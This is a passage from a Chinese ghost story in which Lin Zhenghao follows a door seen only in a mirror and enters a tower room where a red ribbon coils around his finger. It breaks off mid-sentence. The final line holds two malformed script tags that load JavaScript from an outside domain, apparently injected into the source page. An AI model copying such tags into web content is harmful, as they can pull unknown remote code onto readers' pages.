但镜子告诉他,那扇门就在那里。
开着。
等着他。
他放下了铜镜,抬起头,看向楼梯转角处的那面墙。
墙还是那面墙。斑驳的漆面,灰黑色的水泥,什么都没有。
他再次举起铜镜。
镜子里,那扇门还在。门缝里透出的昏黄灯光在镜面上跳动着,像一颗微弱的、即将熄灭的星。
他想起了小陈阿嬷说的话——“有些门只能开两次。第一次是缘分,第二次是慈悲,第三次就是执念了。”
这是第二次。
他收起了铜镜,放回胸前的口袋,然后转过身,面对楼梯。
楼梯上空空荡荡。
但他的手心里,多了一样东西。不知道什么时候出现的——在他看着镜子里的雪子流泪的时候,在他看着那扇神秘的门的时候——他的右手掌心,多了一朵栀子花。
不是枯萎的,不是泛黄的,而是新鲜的、洁白的、带着露珠的。花瓣上还残留着淡淡的香气,白檀和栀子花混在一起的味道,幽微而甜美。
他把那朵花举到眼前,看了一会儿。
然后他继续往上走。
走到三楼的时候,走廊里很暗。日光灯没有开,只有几盏紧急照明灯亮着,发出昏黄的、微弱的光。走廊的尽头,角楼的方向,似乎有什么东西在发光——一种幽幽的、淡蓝色的光,像是萤火虫聚在一起发出的光亮。
林正豪朝那个方向走去。
他的脚步声在走廊里回荡,听起来不像是一个人的。但他没有回头,也没有停下来。他一步一步地走,走到角楼的门口。
门是关着的。
但门把手上,系着一条红色的丝带。丝带的两端垂下来,在空气中微微飘动,像两条细细的、红色的蛇。
林正豪伸手去碰那条丝带。
手指碰到丝带的瞬间,丝带动了——不是被风吹动的那种动,而是像活的一样,像是一条真正的蛇,缠绕上了他的手指。红色的丝线在他的手指上绕了一圈,又一圈,又一圈,紧紧地勒进皮肤里,勒出一道红色的痕迹。
他没有缩手。
他站在那里,任由丝带缠绕着他的手指,然后他伸手推开了门。
角楼里的景象,和他记忆中完全不同。
那张长桌还在,但上面摆的不再是高脚杯和银质餐具,而是一排排的照片——黑白的老照片
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">